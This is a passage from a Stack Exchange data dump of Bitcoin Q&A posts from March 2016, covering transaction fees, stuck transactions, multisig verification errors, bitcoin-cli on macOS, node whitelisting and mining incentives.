wallet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bbs5n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bbs5n.png&quot; alt=&quot;Transaction list&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the transaction I asked Bitcoin Core wallet to create, and the mystery transaction it created on it's own initiative:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UMYNR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UMYNR.png&quot; alt=&quot;Transaction details&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could have happened here? Is there any way I can find the PK for the mystery address (could it be a change address in the wallet or something like that)?&lt;/p&gt;&#xA;" OwnerUserId="33487" LastEditorUserId="33487" LastEditDate="2016-03-01T19:36:54.093" LastActivityDate="2016-03-01T20:14:37.907" Title="Why did Bitcoin Core wallet send my coins to this address?" Tags="|transactions|bitcoin-core|client|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43140" PostTypeId="2" ParentId="43139" CreationDate="2016-03-01T20:14:37.907" Score="4" Body="&lt;p&gt;The transaction that shows up as confirmed (&lt;a href=&quot;https://blockchain.info/tx/8f1fb5fa162e01430a09d49e97aa2f08c41da13f09f565dedfc8c2da8ad30902&quot; rel=&quot;nofollow&quot;&gt;8f1fb5fa1&lt;/a&gt;) was confirmed almost a year ago in block 345970, although your client is showing it with a recent date. I think you might have not synchronized with the network before attempting to transfer the coins to your new wallet, at which point the client still showed the coins in your balance. You later caught up with the blockchain and your wallet noticed that the coins were no longer available, marking your new transaction as a conflict/doublespend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is indeed the case, then this is perfectly normal. If this were your address then the wallet would notice this automatically and credit you with the coins. It could either be that you migrated your funds at some point to a new wallet or that malware was involved.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-01T20:14:37.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43141" PostTypeId="2" ParentId="43134" CreationDate="2016-03-01T20:57:34.810" Score="5" Body="&lt;p&gt;When you said &quot;as a result you have two outputs: The spent amount and the change&quot;, that is only one special case for Bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a general Bitcoin transaction, here is what actually happens:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One or more inputs, each with a valid signature, &quot;dumps&quot; coin value into the transaction.&lt;/li&gt;&#xA;&lt;li&gt;One or more outputs each &quot;extracts&quot; value from the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Any remaining value (which must be zero or positive - but not negative) is considered to be a transaction fee for the miner to grab.&lt;/li&gt;&#xA;&lt;li&gt;(A special case of inputs is that the first transaction of each block is a coinbase transaction, and the single input is allowed to synthesize a certain amount of value from nothing.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In light of this view, it should be clear that multiple outputs are allowed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Let's illustrate with an example. Suppose some friends want do a transaction together because they want to share and save on the transaction fee:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice dumps one input valued at 3 BTC into the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Alice dumps another input valued at 2 BTC into the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Bob dumps one input valued at 4 BTC into the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Alice wants to pay Carol 2.5 BTC, so this is added as an output.&lt;/li&gt;&#xA;&lt;li&gt;Bob wants to pay Dave 3.99 BTC, so this is added as an output.&lt;/li&gt;&#xA;&lt;li&gt;Alice and Bob each agree to pay 0.01 BTC as a transaction fee.&lt;/li&gt;&#xA;&lt;li&gt;Bob needs no change.&lt;/li&gt;&#xA;&lt;li&gt;Alice needs 2.49 BTC in change, so this is added as an output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Transaction summary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Input: +3.00 BTC (from Alice)&lt;/li&gt;&#xA;&lt;li&gt;Input: +2.00 BTC (from Alice)&lt;/li&gt;&#xA;&lt;li&gt;Input: +4.00 BTC (from Bob)&lt;/li&gt;&#xA;&lt;li&gt;Output: -2.50 BTC to Carol (payment)&lt;/li&gt;&#xA;&lt;li&gt;Output: -3.99 BTC to Dave (payment)&lt;/li&gt;&#xA;&lt;li&gt;Output: -2.49 BTC to Alice (change)&lt;/li&gt;&#xA;&lt;li&gt;Fee: -0.02 BTC to miner&lt;/li&gt;&#xA;&lt;li&gt;Final balance: 0.00 BTC (must always be zero)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23340" LastActivityDate="2016-03-01T20:57:34.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43142" PostTypeId="2" ParentId="30833" CreationDate="2016-03-02T00:04:39.183" Score="0" Body="&lt;p&gt;You should always use api code, even if it's not required. Otherwise if you generate too much traffic, block chain will ban your ip for a day. You will not be able to use web wallet.&lt;/p&gt;&#xA;" OwnerUserId="29353" LastActivityDate="2016-03-02T00:04:39.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43143" PostTypeId="1" AcceptedAnswerId="43144" CreationDate="2016-03-02T05:03:01.727" Score="1" ViewCount="1158" Body="&lt;p&gt;These days transactions are taking a very long time to confirm. Higher transaction fees could be a possible solution. I want to know how to calculate a reasonable transaction fee, which is not so expensive and results in less time until confirmation (within 10-15min). Could you advice me on how to implement it?&lt;/p&gt;&#xA;" OwnerUserId="19338" LastEditorUserId="5406" LastEditDate="2016-03-02T06:20:45.183" LastActivityDate="2016-03-02T06:20:45.183" Title="How do you calculate a reasonable transaction fee?" Tags="|transaction-fees|confirmations|blockspace-market|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43144" PostTypeId="2" ParentId="43143" CreationDate="2016-03-02T05:22:55.690" Score="5" Body="&lt;p&gt;See &lt;a href=&quot;https://bitcoinfees.21.co/&quot;&gt;https://bitcoinfees.21.co/&lt;/a&gt; for mempool size and tx fee. This will suggest fee in satoshi/byte depending on current network conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to exact fee in BTC for spending from wallet, you can try  &lt;a href=&quot;https://github.com/shivaenigma/btxfees&quot;&gt;https://github.com/shivaenigma/btxfees&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-03-02T05:22:55.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43145" PostTypeId="2" ParentId="43111" CreationDate="2016-03-02T09:29:01.003" Score="1" Body="&lt;p&gt;There are 2^256 possible hashes and your source gives a target value of 238348*2^176, requiring more than 60 bits of leading zeros (61 in fact, plus the slightly stricter requirement that a valid hash must be smaller than the target value and not just start with the same number of leading zeros). In fact, the fraction of acceptable hashes out of all possible hashes is 238348*2^-80. Multiplied with 10^12 hashes tested per second, multiplied with 24*60*60 seconds per day, you get a probability of finding a valid hash of about 1 / 58.70 per day, or (as reciprocal) 58.70 days per valid hash on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You ask how 8496 was calculated. I note that 8496 = 59 * 24 * 6, so assuming you round to exactly 59 days per valid hash and use the nominal target of having one new block recorded in the blockchain every 10 minutes (hence 24*6 per day), then with a constant, steady-state target you would indeed expect to get lucky, on average, once every 8496 blocks by finding a valid block yourself. Obviously, there is an issue with the stated precision; according to my calculation, even just the rounding to 8500 blocks would only barely be correct.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2016-03-02T09:37:54.833" LastActivityDate="2016-03-02T09:37:54.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43146" PostTypeId="1" CreationDate="2016-03-02T12:31:25.473" Score="1" ViewCount="393" Body="&lt;p&gt;I have an issue with Bitcoin Armory. I have run it on Win 7, Armory version is 0.93.3-beta. I have run it at least once a week an so far it worked properly. Now it wont sync with the network (jams at 0 %, with an error message popping up after some time). Usually this was done in half an hour or sooner. I did not change anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the solution, that I have come across was to migrate it to another computer. I have an Ubuntu home computer on which the same problem appears. I have installed Armory, but it wont start with the sync. It starts the &quot;Initializing Torrent Engine&quot; but stays at 0 %. So perhaps this is not an computer issue after all. Any ideas on how to get hold of my bitcoins? The Armory support did not respond. At least not yet. &lt;/p&gt;&#xA;" OwnerUserId="33539" LastEditorUserId="5406" LastEditDate="2016-03-05T13:48:30.247" LastActivityDate="2016-03-05T13:48:30.247" Title="Bitcoin Armory startup issues" Tags="|synchronization|armory|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43148" PostTypeId="1" CreationDate="2016-03-02T15:37:48.350" Score="14" ViewCount="9628" Body="&lt;p&gt;I have a Qt testnet3 node synched and running on my mac.  In the terminal, when simply trying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./bitcoin-cli getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-bash: bitcoin-cli: command not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know why the command could or would not be found?  (server=1 in bitcoin.conf as well)&lt;/p&gt;&#xA;" OwnerDisplayName="user31364" LastEditorUserId="5406" LastEditDate="2022-09-12T12:58:50.463" LastActivityDate="2022-09-12T12:58:50.463" Title="bitcoin-cli not found on OSX" Tags="|bitcoin-core|bitcoin-cli|mac|installation|" AnswerCount="5" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="43149" PostTypeId="1" AcceptedAnswerId="43150" CreationDate="2016-03-02T16:17:40.827" Score="1" ViewCount="91" Body="&lt;p&gt;Is it possible to lookup how much transaction fee was paid for a specific transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I check the transaction on e.g. &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;, I can see a field named &quot;Fee&quot;, but I guess that's a sum of all fees combined in this transaction.&lt;/p&gt;&#xA;" OwnerUserId="4546" LastActivityDate="2016-03-02T17:17:47.270" Title="How to lookup the transaction fee for a particular transaction?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43150" PostTypeId="2" ParentId="43149" CreationDate="2016-03-02T17:17:47.270" Score="0" Body="&lt;p&gt;A transaction is an atomic unit. Either the whole thing confirms or the whole thing does not confirm. The transaction fee is the result of all inputs and outputs in concert, therefore it is a property of the whole transaction and not assignable to any single created output specifically. Even when there are multiple recipients, the whole construct is &quot;a transaction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a transaction, you define a set inputs that will be consumed, and a set of outputs that will be created and at the disposal of your recipients. The free-floating remainder, i.e. the part of the inputs' value that was not assigned to any outputs can be claimed by the miner as a transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-03-02T17:17:47.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43151" PostTypeId="1" AcceptedAnswerId="43157" CreationDate="2016-03-02T20:40:39.950" Score="1" ViewCount="521" Body="&lt;p&gt;I'm trying to broadcast a manually crafted and signed transaction. As far as I can tell, the scripts are correct and the signatures pass &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 66 validation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I keep getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{'message': '64: non-mandatory-script-verify-flag (No error)', u'code': -26}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suspecting the DER encoding, I tried different libs (plus my own ad-hoc code) to no avail. This is the raw transaction in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong with the transaction? I'll provide any additional information necessary.&lt;/p&gt;&#xA;" OwnerUserId="33386" LastActivityDate="2016-03-05T20:29:35.720" Title="Manually crafted multisig Tx: non-mandatory-script-verify-flag" Tags="|multi-signature|raw-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43153" PostTypeId="2" ParentId="43151" CreationDate="2016-03-02T20:53:35.010" Score="0" Body="&lt;pre&gt;&lt;code&gt;RPC_VERIFY_REJECTED = -26, //! Transaction or block was rejected by network rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rule &quot;prev_out&quot; failed to validate: &#xA;Prev out d9a78501ba9601391094fe4a369ab8767822196561ceca3b64e446ea6785a085:0 not found.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-03-02T20:53:35.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43154" PostTypeId="1" CreationDate="2016-03-02T21:06:36.437" Score="6" ViewCount="1474" Body="&lt;p&gt;Some says that transaction fee is calculated based on the size of transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, does it mean based on the number of utxos? To be precise, does it mean depending on the size of all of input scripts and output scripts? I know senders can set the fee as they like. But usually bitcoin users don't do that, just use wallet app, so this question is about general cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. transaction (A) fee is cheaper than (B) because of the I/O scripts size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(A) &lt;a href=&quot;https://blockchain.info/ja/tx/6687d3e1c48901f6571ea70e2a94175af993fd934d51b82b5eb20a93d2dd98cf&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/ja/tx/6687d3e1c48901f6571ea70e2a94175af993fd934d51b82b5eb20a93d2dd98cf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(B) &lt;a href=&quot;https://blockchain.info/en/tx/31b36d45323a8dd4b33832c561c8e5d8703c324ee5850924f20373222e80b529&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/en/tx/31b36d45323a8dd4b33832c561c8e5d8703c324ee5850924f20373222e80b529&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether another factor affects the price of the fee or not.&lt;/p&gt;&#xA;" OwnerUserId="19338" LastActivityDate="2017-07-02T15:58:53.040" Title="How is transaction fee calculated?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43155" PostTypeId="1" AcceptedAnswerId="43159" CreationDate="2016-03-02T22:00:39.513" Score="10" ViewCount="7310" Body="&lt;p&gt;Sometimes confirmation process is very slow. I think that is because of the price of the fee. In that time, is it possible to cancel the unconfirmed transaction and re-send with higher transaction fee?  Are there any expiry features? E.g. the transaction will be canceled after 7 days?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I read other posts, the answer is NO. If so, do I need to wait for the confirmation forever? For instance, when I set a zero transaction fee accidentally.&lt;/p&gt;&#xA;" OwnerUserId="19338" LastEditorUserId="5406" LastEditDate="2016-03-03T10:58:48.767" LastActivityDate="2016-03-03T10:58:48.767" Title="Do unconfirmed transactions expire after some time?" Tags="|unconfirmed-transactions|mempool|child-pays-for-parent|replace-by-fee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43156" PostTypeId="1" CreationDate="2016-03-02T22:13:17.760" Score="1" ViewCount="1359" Body="&lt;p&gt;I believe the answer is that you enter the command line option whitebind for IPV4 or whitelist for IPV6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried it, I first got a message that I needed to include the port, so I included the port, but then I got an error message saying &quot;Unable to bind to {IP.Add.re.ss:Port} on this computer (bind returned the error The requested address is not valid in its context. (10049)).&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a search for whitelisting multiple IP addresses and didn't find any results, but through experimentation, I determined that repeating the command line option multiple times works, at least to get the errors I describe above.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2016-03-02T23:06:47.060" Title="In Bitcoin QT 0.12 for Windows, how do you whitelist an IP address?" Tags="|command-line-options|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43157" PostTypeId="2" ParentId="43151" CreationDate="2016-03-02T22:17:01.400" Score="1" Body="&lt;p&gt;I was sending an extra signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction required 2-of-3, and I sent the 3 signatures. The extra signature was not popped off the stack by &lt;code&gt;OP_CHECKMULTISIG&lt;/code&gt;, and the remaining stack looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXTRA_SIGNATURE&#xA;OP_0 # null-dummy for Bitcoin Core's old bug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The extra signature took the place of the dummy, and &lt;code&gt;bitcoind&lt;/code&gt; detected this when verifying the dummy was an &lt;code&gt;OP_0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33386" LastEditorUserId="33386" LastEditDate="2016-03-05T20:29:35.720" LastActivityDate="2016-03-05T20:29:35.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43158" PostTypeId="2" ParentId="43156" CreationDate="2016-03-02T23:06:47.060" Score="3" Body="&lt;p&gt;There are 4 options (either command line or in the bitcoind.conf file) that have to do with whitelisting. I myself have only used whitelist where you simply specify the IP address (IPv4), without port number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-whitelist=192.168.10.20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the documentation you can also specify a netmask, which I haven't used yet, but should be in this format if I'm not mistaken:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-whitelist=192.168.10.0/24&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;-whitebind&lt;/strong&gt;=&#xA;         Bind to given address and whitelist peers connecting to it. Use&#xA;         [host]:port notation for IPv6&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;-whitelist&lt;/strong&gt;=&#xA;         Whitelist peers connecting from the given netmask or IP address. Can be&#xA;         specified multiple times. Whitelisted peers cannot be DoS banned and&#xA;         their transactions are always relayed, even if they are already in the&#xA;         mempool, useful e.g. for a gateway&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;-whitelistrelay&lt;/strong&gt;&#xA;         Accept relayed transactions received from whitelisted peers even when&#xA;         not relaying transactions (default: 1)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;-whitelistforcerelay&lt;/strong&gt;&#xA;         Force relay of transactions from whitelisted peers even they violate&#xA;         local relay policy (default: 1)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-03-02T23:06:47.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43159" PostTypeId="2" ParentId="43155" CreationDate="2016-03-02T23:18:23.700" Score="3" Body="&lt;p&gt;The newest version of bitcoin core 0.12 introduced a feature called replace by fee. This can be used to issue a transaction with a higher fee spending coins that have not yet been picked up in a block.  This can be used to send funds in a stuck transaction to a new address and the hope is that by including a fee this will get picked up by the miners faster than a transaction with no fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the tools used to create this kind of transaction:&#xA;&lt;a href=&quot;https://github.com/petertodd/replace-by-fee-tools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/petertodd/replace-by-fee-tools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you correctly noted there is no timeframe in which a transaction expires.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-02T23:18:23.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43160" PostTypeId="2" ParentId="43148" CreationDate="2016-03-02T23:35:39.927" Score="6" Body="&lt;p&gt;There it's no bitcoin-cli built in the dmg file for mac os. (Unless you compile it yourself, nor is there a bitcoind from my understanding) You can execute RPC commands using the built in options under the help -&gt; debug / then click on the console tab in the os x client.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-02T23:35:39.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43161" PostTypeId="2" ParentId="43097" CreationDate="2016-03-02T23:45:55.850" Score="1" Body="&lt;p&gt;Fees only get created by the individuals creating the transactions. There is no way for a miner to take a fee from a transaction that did not include a fee. Miners can be selective if they choose to and only include transactions with fees. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially the answer to your question is no they cannot gain any advantage over any other miner. They can select and include transactions with fees but this can be done by all miners.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-02T23:45:55.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43163" PostTypeId="2" ParentId="40462" CreationDate="2016-03-03T05:32:42.090" Score="2" Body="&lt;p&gt;Adding my own answer after doing some research: An address and an output are different things. A transaction may have many inputs and many outputs. Here is a good visualization from bitcoin.org:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/icpeS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/icpeS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A double spend occurs when the same BTC is used to pay two different people. This will never happen on the blockchain because the Bitcoin network guarantees a consistent ledger. But, what about the unconfirmed transactions that live in the miners' mempools? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some inconsistencies in the mempool may not manifest until they are added or not-added to the blockchain, others we can flag as invalid right away e.g. amount exceeds available funds etc; If unconfirmed transactions were not checked for validity, an attacker could flood the mempool with bogus transactions and cripple the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A submitted transaction that has the exact same inputs and outputs as another unconfirmed transaction in the mempool is rejected by the Bitcoin network (even if it was a valid financial transaction). For example, I could send 1 BTC from A to B, and while the transaction is unconfirmed, send another 2 BTC from A to B. As long as A has 3 BTC to cover the transfers, these transactions are consistent, but conservatively rejected by miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this yourself with the Electrum wallet using the &quot;Send From&quot; option. Normally, Electrum picks valid inputs for you, but you can override this. Create a transaction specifying the from and to addresses. Then, create another transaction with same from and to (but the amount can differ). If the first transaction is still pending, you'll get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WdtFh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WdtFh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29307" LastActivityDate="2016-03-03T05:32:42.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43164" PostTypeId="2" ParentId="38430" CreationDate="2016-03-03T05:45:38.423" Score="-1" Body="&lt;p&gt;The cause is not literal fraud… They received tons of orders using Bitcoin from &quot;Unauthorized Resellers&quot; that buy tons of keys.&lt;/p&gt;&#xA;" OwnerUserId="33569" LastEditorUserId="5406" LastEditDate="2016-03-05T14:01:03.420" LastActivityDate="2016-03-05T14:01:03.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43165" PostTypeId="2" ParentId="43155" CreationDate="2016-03-03T07:22:34.237" Score="8" Body="&lt;p&gt;In addition to Mark S.'s answer, since Bitcoin Core 0.12 there actually is an expiration in the mempool, which evicts unconfirmed transactions after N hours, where N is set by &lt;code&gt;-mempoolexpiry&lt;/code&gt;, and defaults to 72 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a reliable feature, as wallets (and really, anyone) can rebroadcast the transaction, but helps keeping the mempool fresh.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-03-03T07:22:34.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43166" PostTypeId="1" CreationDate="2016-03-03T10:11:57.440" Score="0" ViewCount="325" Body="&lt;p&gt;what will happen if there will be nobody in the world to mine. then there will be no future to bitcoin??&#xA;and also if nobody is mining then there will not be bitcoins generating anymore and verifying bitcoins ? &lt;/p&gt;&#xA;" OwnerUserId="33576" LastEditorUserId="5406" LastEditDate="2017-12-23T18:55:49.783" LastActivityDate="2017-12-23T18:55:49.783" Title="if nobody is mining then there will not be bitcoins generating anymore and verifying bitcoins ?" Tags="|mining-theory|reward-schedule|blockspace-market|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-05T14:59:46.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="43168" PostTypeId="1" AcceptedAnswerId="43169" CreationDate="2016-03-03T15:35:06.020" Score="2" ViewCount="556" Body="&lt;p&gt;Hello I was wondering if it is possible to set a standard transaction fee in bitcoind like 0.0001 BTC.&#xA;Because now it uses around 0.000026 BTC per transaction and it takes ages to confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="33314" LastEditorUserId="33314" LastEditDate="2016-03-03T15:41:04.157" LastActivityDate="2016-06-01T22:01:02.163" Title="Set a standard transaction fee in bitcoind" Tags="|bitcoind|transaction-fees|bitcoin.conf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43169" PostTypeId="2" ParentId="43168" CreationDate="2016-03-03T17:54:33.600" Score="1" Body="&lt;p&gt;Already got it I needed to use -mintxfee&lt;/p&gt;&#xA;" OwnerUserId="33314" LastActivityDate="2016-03-03T17:54:33.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43177" PostTypeId="2" ParentId="43166" CreationDate="2016-03-03T23:28:01.053" Score="1" Body="&lt;p&gt;Correct. Mining activity has several goals including:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generating new bitcoins (until 21 million bitcoins).&lt;/li&gt;&#xA;&lt;li&gt;Verifying new transactions and persisting them in the Bitcoin system (in Bitcoin block-chain).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Mining is crucial for the Bitcoin system and therefore the Bitcoin system provides the incentive (Bitcoin reward) for everybody that participates in mining. The security of Bitcoin is directly dependent to the computing power of network's miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One question that may exist in this context is &quot;Why may miners stop mining?&quot;. Miners may stop mining because of a decrease in Bitcoin value. The miners' reward is a constant count of bitcoins (currently 25 bitcoins, which is halved every 4 years). If the value of Bitcoin decreases, the reward for the miners will decrease equivalently, too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The worry would be that Bitcoin gets caught in a &quot;&lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.364.5595&amp;amp;rep=rep1&amp;amp;type=pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Death spiral&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This leads to the possibility of a death spiral in which loss of&#xA;  confidence in Bitcoin could cause the Bitcoin price to go down, a&#xA;  falling price lowers the incentive to mine and the equilibrium mining&#xA;  rate, lower mining rate leads to the currency being easier to subvert,&#xA;  and this leads to a further loss of confidence in the currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/71U4l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/71U4l.png&quot; alt=&quot;death spiral of Bitcoin&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33593" LastEditorUserId="5406" LastEditDate="2016-03-05T14:10:12.587" LastActivityDate="2016-03-05T14:10:12.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43179" PostTypeId="1" CreationDate="2016-03-04T00:49:31.627" Score="0" ViewCount="1039" Body="&lt;p&gt;i tried sending a transaction using multibit hd, and its not even that i was trying to get cheesy on the fee, i just forgot to enter one in and now three days later ive lost 15 dollars from bitcoins losing value as my transaction is stuck at being viewed by 5 peers, but receiving no confirmations. after doing some research i seem to get mixed responses on what happens now, will the transaction get rejected and my coins be returned to me with mutibit hd, or do i have to do somthing proactive to get them back?&lt;/p&gt;&#xA;" OwnerUserId="33596" LastActivityDate="2016-03-04T14:21:34.150" Title="bitcoin transaction stuck in limbo" Tags="|multibit-hd|" AnswerCount="1" CommentCount="1" ClosedDate="2016-03-06T19:42:53.880" ContentLicense="CC BY-SA 3.0" />
